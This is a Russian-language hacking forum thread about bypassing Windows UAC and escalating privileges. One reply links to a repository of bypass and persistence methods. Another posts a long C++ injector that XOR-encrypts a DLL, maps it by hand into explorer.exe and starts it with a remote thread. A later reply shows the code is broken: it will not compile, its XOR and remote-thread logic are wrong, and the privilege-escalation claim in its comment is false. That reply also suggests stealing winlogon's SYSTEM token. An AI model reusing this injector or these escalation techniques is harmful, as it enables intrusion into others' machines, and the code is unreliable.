Какой самый актуальный метод байпаса прав админа?

JOHR · 16.04.2025

Какой самый актуальный метод байпаса прав админа? Часто использовал fodhelper, но как то косо работает, есть ли более актуальные методы?

mentalpositive · 16.04.2025

GitHub - rootm0s/WinPwnage: UAC bypass, Elevate, Persistence methods

UAC bypass, Elevate, Persistence methods. Contribute to rootm0s/WinPwnage development by creating an account on GitHub.

github.com

Вот тут все распространенные способы запуска файла от администратора с обходом UAC, можно отсюда референс когда взять и переписать под любой другой

JOHR · 16.04.2025

mentalpositive сказал(а):

GitHub - rootm0s/WinPwnage: UAC bypass, Elevate, Persistence methods

UAC bypass, Elevate, Persistence methods. Contribute to rootm0s/WinPwnage development by creating an account on GitHub.

github.com

Вот тут все распространенные способы запуска файла от администратора с обходом UAC, можно отсюда референс когда взять и переписать под любой другой

спасибо, нашёл уже актуальное решение

JOHR · 16.04.2025

mentalpositive сказал(а):

Можешь сюда ссылку на найденное тобой решение скинуть, чтобы другим тоже помочь, кто в эту тему зайдет, если не жалко

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <vector>
#include <algorithm>

#pragma warning(disable : 4996)

// Простой XOR шифратор/дешифратор
void XorCrypt(BYTE* data, size_t size, BYTE key)
{
for (size_t i = 0; i < size; ++i)
{
data ^= key;
}
}

// Структура для ручного маппинга с учетом шифрования
struct MANUAL_MAPPING_DATA
{
LPVOID ImageBase;
PIMAGE_NT_HEADERS NtHeaders;
PIMAGE_BASE_RELOCATION BaseRelocation;
PIMAGE_IMPORT_DESCRIPTOR ImportDirectory;
DWORD_PTR* FunctionTable;
DWORD_PTR* UserFunctionTable;
DWORD_PTR UserParam;
BYTE EncryptionKey;
};

// Shellcode с поддержкой шифрования
DWORD __stdcall Shellcode(MANUAL_MAPPING_DATA* pData)
{
if (!pData)
return 0;

// Дешифруем образ в памяти
XorCrypt((BYTE*)pData->ImageBase, pData->NtHeaders->OptionalHeader.SizeOfImage, pData->EncryptionKey);

// Применяем релокации
DWORD_PTR delta = (DWORD_PTR)pData->ImageBase - pData->NtHeaders->OptionalHeader.ImageBase;
PIMAGE_BASE_RELOCATION pReloc = pData->BaseRelocation;

while (pReloc->VirtualAddress)
{
if (pReloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
{
DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD list = (PWORD)(pReloc + 1);

for (DWORD i = 0; i < count; ++i)
{
if (list)
{
DWORD_PTR* pPatch = (DWORD_PTR*)((DWORD_PTR)pData->ImageBase + pReloc->VirtualAddress + (list & 0xFFF));
*pPatch += delta;
}
}
}

pReloc = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pReloc + pReloc->SizeOfBlock);
}

// Разрешаем импорты
PIMAGE_IMPORT_DESCRIPTOR pImport = pData->ImportDirectory;
while (pImport->Name)
{
char* moduleName = (char*)((DWORD_PTR)pData->ImageBase + pImport->Name);
HMODULE hModule = GetModuleHandleA(moduleName);

if (!hModule)
hModule = LoadLibraryA(moduleName);

if (hModule)
{
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)pData->ImageBase + pImport->FirstThunk);

if (pImport->OriginalFirstThunk)
pThunk = (PIMAGE_THUNK_DATA)((DWORD_PTR)pData->ImageBase + pImport->OriginalFirstThunk);

while (pThunk->u1.AddressOfData)
{
if (IMAGE_SNAP_BY_ORDINAL(pThunk->u1.Ordinal))
{
DWORD_PTR* pFunc = (DWORD_PTR*)((DWORD_PTR)pData->ImageBase + pImport->FirstThunk + ((DWORD_PTR)pThunk - (DWORD_PTR)((DWORD_PTR)pData->ImageBase + pImport->OriginalFirstThunk)));
*pFunc = (DWORD_PTR)GetProcAddress(hModule, (LPCSTR)IMAGE_ORDINAL(pThunk->u1.Ordinal));
}
else
{
PIMAGE_IMPORT_BY_NAME pName = (PIMAGE_IMPORT_BY_NAME)((DWORD_PTR)pData->ImageBase + pThunk->u1.AddressOfData);
DWORD_PTR* pFunc = (DWORD_PTR*)((DWORD_PTR)pData->ImageBase + pImport->FirstThunk + ((DWORD_PTR)pThunk - (DWORD_PTR)((DWORD_PTR)pData->ImageBase + pImport->OriginalFirstThunk)));
*pFunc = (DWORD_PTR)GetProcAddress(hModule, pName->Name);
}

++pThunk;
}
}

++pImport;
}

// Вызываем TLS-коллбэки
PIMAGE_TLS_DIRECTORY pTLS = (PIMAGE_TLS_DIRECTORY)((DWORD_PTR)pData->ImageBase + pData->NtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);
if (pTLS && pTLS->AddressOfCallBacks)
{
DWORD_PTR* pCallback = (DWORD_PTR*)pTLS->AddressOfCallBacks;
while (*pCallback)
{
((void (__stdcall*)(void*, DWORD, void*))*pCallback)(pData->ImageBase, DLL_PROCESS_ATTACH, nullptr);
++pCallback;
}
}

// Вызываем DllMain
if (pData->NtHeaders->OptionalHeader.AddressOfEntryPoint)
{
DWORD_PTR entryPoint = (DWORD_PTR)pData->ImageBase + pData->NtHeaders->OptionalHeader.AddressOfEntryPoint;
((BOOL (__stdcall*)(void*, DWORD, void*))entryPoint)(pData->ImageBase, DLL_PROCESS_ATTACH, nullptr);
}

return 1;
}

// Основная функция инжекта с шифрованием
bool ManualMap(HANDLE hProcess, const char* dllPath, BYTE encryptionKey = 0xAA)
{
// Читаем DLL файл
HANDLE hFile = CreateFileA(dllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
std::cerr << "CreateFileA failed: " << GetLastError() << std::endl;
return false;
}

DWORD fileSize = GetFileSize(hFile, NULL);
if (fileSize == INVALID_FILE_SIZE)
{
CloseHandle(hFile);
std::cerr << "GetFileSize failed" << std::endl;
return false;
}

std::vector<BYTE> fileData(fileSize);
DWORD bytesRead;
if (!ReadFile(hFile, fileData.data(), fileSize, &bytesRead, NULL) || bytesRead != fileSize)
{
CloseHandle(hFile);
std::cerr << "ReadFile failed" << std::endl;
return false;
}
CloseHandle(hFile);

// Проверяем PE-заголовок
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileData.data();
if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
{
std::cerr << "Invalid DOS header" << std::endl;
return false;
}

PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)fileData.data() + pDosHeader->e_lfanew);
if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
{
std::cerr << "Invalid NT header" << std::endl;
return false;
}

// Шифруем данные перед загрузкой
XorCrypt(fileData.data(), fileSize, encryptionKey);

// Выделяем память в целевом процессе
LPVOID pRemoteImage = VirtualAllocEx(hProcess, NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteImage)
{
std::cerr << "VirtualAllocEx failed: " << GetLastError() << std::endl;
return false;
}

// Копируем заголовки (зашифрованные)
if (!WriteProcessMemory(hProcess, pRemoteImage, fileData.data(), pNtHeaders->OptionalHeader.SizeOfHeaders, NULL))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
std::cerr << "WriteProcessMemory (headers) failed" << std::endl;
return false;
}

// Копируем секции (зашифрованные)
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNtHeaders);
for (WORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; ++i)
{
if (pSection.SizeOfRawData)
{
if (!WriteProcessMemory(hProcess, (BYTE*)pRemoteImage + pSection.VirtualAddress, fileData.data() + pSection.PointerToRawData, pSection.SizeOfRawData, NULL))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
std::cerr << "WriteProcessMemory (section) failed" << std::endl;
return false;
}
}
}

// Подготавливаем данные для ручного маппинга
MANUAL_MAPPING_DATA data{ 0 };
data.ImageBase = pRemoteImage;
data.NtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pRemoteImage + pDosHeader->e_lfanew);
data.BaseRelocation = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)pRemoteImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
data.ImportDirectory = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD_PTR)pRemoteImage + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
data.EncryptionKey = encryptionKey;

// Выделяем память для данных в целевом процессе
LPVOID pRemoteData = VirtualAllocEx(hProcess, NULL, sizeof(MANUAL_MAPPING_DATA), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteData)
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
std::cerr << "VirtualAllocEx (data) failed" << std::endl;
return false;
}

// Копируем данные
if (!WriteProcessMemory(hProcess, pRemoteData, &data, sizeof(MANUAL_MAPPING_DATA), NULL))
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
std::cerr << "WriteProcessMemory (data) failed" << std::endl;
return false;
}

// Создаем удаленный поток для выполнения Shellcode
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, pRemoteData, 0, NULL);
if (!hThread)
{
VirtualFreeEx(hProcess, pRemoteImage, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
std::cerr << "CreateRemoteThread failed: " << GetLastError() << std::endl;
return false;
}

WaitForSingleObject(hThread, INFINITE);

// Освобождаем ресурсы
VirtualFreeEx(hProcess, pRemoteData, 0, MEM_RELEASE);
CloseHandle(hThread);

return true;
}

// Функция для получения PID процесса по имени
DWORD GetProcessIdByName(const wchar_t* processName)
{
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
return 0;

if (!Process32FirstW(hSnapshot, &pe32))
{
CloseHandle(hSnapshot);
return 0;
}

do
{
if (_wcsicmp(pe32.szExeFile, processName) == 0)
{
CloseHandle(hSnapshot);
return pe32.th32ProcessID;
}
} while (Process32NextW(hSnapshot, &pe32));

CloseHandle(hSnapshot);
return 0;
}

int main()
{
const char* dllPath = "C:\\test\\mydll.dll"; // Путь к вашей DLL
const wchar_t* targetProcess = L"explorer.exe"; // Целевой процесс
const BYTE encryptionKey = 0x55; // Ключ шифрования (можно случайно генерировать)

DWORD pid = GetProcessIdByName(targetProcess);
if (!pid)
{
std::wcerr << L"Process not found: " << targetProcess << std::endl;
return 1;
}

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess)
{
std::cerr << "OpenProcess failed: " << GetLastError() << std::endl;
return 1;
}

if (ManualMap(hProcess, dllPath, encryptionKey))
{
std::cout << "DLL successfully injected with encryption!" << std::endl;
}
else
{
std::cerr << "Injection failed" << std::endl;
}

CloseHandle(hProcess);
return 0;
} //инжект длл в доверенный процесс для повышения привелегий

CheckerChin · 16.04.2025

И что это за чушь?
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, pRemoteData, 0, NULL);
Ты решил создать поток по несуществующему адресу (Shellcode) внутри hProcess?

C++:

pSection.VirtualAddress
pSection.PointerToRawData
pSection.SizeOfRawData

У тебя тип если что PIMAGE_SECTION_HEADER, у тебя этот код вообще не должен компилиться.

C++:

// Простой XOR шифратор/дешифратор
void XorCrypt(BYTE* data, size_t size, BYTE key)
{
    for (size_t i = 0; i < size; ++i)
    {
        data ^= key;
    }
}

про это лучше промолчать)))

У тебя написан комментарий //инжект длл в доверенный процесс для повышения привелегий
Так вот OpenProcess ты не сможешь выполнить для процесса, который запущен от админ прав, если у тебя нет админ прав.
Если ты имел ввиду повышение от админа до SYSTEM, то ты с explorer.exe явно ошибся. Можно было украсть токен у винлогона (или другого процесса, который от SYSTEM запущен) и с этим токеном перезапустить свой процесс/создать новый или что тебе там нужно.

Ошибки синтаксиса, логики и баги. Ты собрал бинго

JOHR · 16.04.2025

CheckerChin сказал(а):
И что это за чушь?
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)Shellcode, pRemoteData, 0, NULL);
Ты решил создать поток по несуществующему адресу (Shellcode) внутри hProcess?
C++:
pSection.VirtualAddress
pSection.PointerToRawData
pSection.SizeOfRawData
У тебя тип если что PIMAGE_SECTION_HEADER, у тебя этот код вообще не должен компилиться.
C++:
// Простой XOR шифратор/дешифратор
void XorCrypt(BYTE* data, size_t size, BYTE key)
{
    for (size_t i = 0; i < size; ++i)
    {
        data ^= key;
    }
}
про это лучше промолчать)))

У тебя написан комментарий //инжект длл в доверенный процесс для повышения привелегий
Так вот OpenProcess ты не сможешь выполнить для процесса, который запущен от админ прав, если у тебя нет админ прав.
Если ты имел ввиду повышение от админа до SYSTEM, то ты с explorer.exe явно ошибся. Можно было украсть токен у винлогона (или другого процесса, который от SYSTEM запущен) и с этим токеном перезапустить свой процесс/создать новый или что тебе там нужно.

Ошибки синтаксиса, логики и баги. Ты собрал бинго

ну все с чего то начинали

Какой самый актуальный метод байпаса прав админа?

JOHR

HDD-drive

mentalpositive

Премиум

GitHub - rootm0s/WinPwnage: UAC bypass, Elevate, Persistence methods

JOHR

HDD-drive

GitHub - rootm0s/WinPwnage: UAC bypass, Elevate, Persistence methods

JOHR

HDD-drive

CheckerChin

(L2) cache

JOHR

HDD-drive